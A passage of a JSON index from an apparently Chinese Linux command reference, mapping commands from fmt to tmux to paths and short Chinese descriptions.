shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getent":{"n":"getent","p":"/getent","d":"查询 DNS 名称服务器中的命名空间"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"pacman":{"n":"pacman","p":"/pacman","d":"Arch Linux 系统极其衍生系统中默认使用的包管理器"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwdx":{"n":"pwdx","p":"/pwdx","d":"用于显示指定进程的当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smartmontools":{"n":"smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU 